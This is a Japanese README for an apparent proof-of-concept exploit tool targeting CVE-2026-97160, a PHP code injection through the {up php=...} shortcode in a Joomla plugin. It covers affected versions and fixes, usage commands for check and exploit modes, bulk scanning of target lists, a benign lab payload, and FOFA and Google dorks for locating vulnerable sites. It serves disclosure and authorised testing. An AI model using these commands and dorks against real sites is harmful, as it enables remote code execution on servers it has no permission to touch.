CVE-2026-97160 — UP プラグイン PHP コードインジェクション (Joomla)

CVE-2026-97160 の Python 3 PoC — Joomla 用 UP (Universal Plugin) (lomart.fr / up.lomart.fr)。

説明 (PoCbit / GitHub)

CVE-2026-97160 — UP プラグイン 5.0.0–5.2.0 および 6.0.0–6.0.29 は、eval() で処理される {up php=...} ショートコードを通じて PHP コードインジェクションを許します (CWE-94)。CNA はこれを 認証済み / 高権限 に分類していますが、6.1.0 / 5.2.1 より前では、記事の著者が 保存時とレンダリング時の名前正規化 を利用して予約アクションのチェックを回避できたため、記事内の PHP が すべての訪問者 に対して実行されました。CVSS 4.0 9.4 Critical。修正: UP 6.1.0 (Joomla 5.2+) または 5.2.1 (Joomla 3.10–5.1)。

関連 (同一リリース): CVE-2026-97161 (ファイル読み取り / トラバーサル)、CVE-2026-97162 (SQLi)、CVE-2026-97163 (GitHub ミニインストール)。

PoC ページ: https://pocbit.org/pocs/cve-2026-97160

PoCbit

カタログ: https://pocbit.org/pocs/

製品	Joomla 用 UP プラグイン (plg_content_up)
パス	plugins/content/up/
影響を受けるバージョン	5.0.0–5.2.0、6.0.0–6.0.29
修正済み	5.2.1、6.1.0
ベクター	記事/モジュールのショートコード {up php=...}
割り当て者	Joomla CNA

使用方法

pip install -r requirements.txt

python poc.py -u https://joomla.example --mode check
python poc.py -u https://joomla.example --mode check --article-url "https://joomla.example/index.php?option=com_content&view=article&id=42"
python poc.py -u https://joomla.example --mode exploit --article-url "https://joomla.example/your-article"
python poc.py --list targets.example.txt --mode check -j 10

ラボ: 管理者として (または脆弱なビルドでは著者として)、記事本文に以下を追加します:

{up php=echo 'POCBIT-97160-OK';}

公開した後、--mode exploit --article-url <公開 URL> を実行します。

FOFA / Google

body="plugins/content/up"
body="{up php"
inurl:"option=com_content" "lomart"

GitHub About (EN)

CVE-2026-97160 PoC: Joomla UP (lomart.fr) ≤6.0.29 / ≤5.2.0 — 特権 {up php=} ショートコードの eval コードインジェクション (古いビルドでは著者がバイパス可能)。PoCbit

概要 (TR)

CVE-2026-97160: Joomla UP プラグインにおいて {up php=...} によりサーバー上で PHP を実行可能。6.1.0 / 5.2.1 で修正されました。

法的注意

許可されたテストのみ。所有していないサイトに悪意のあるショートコードを公開しないでください。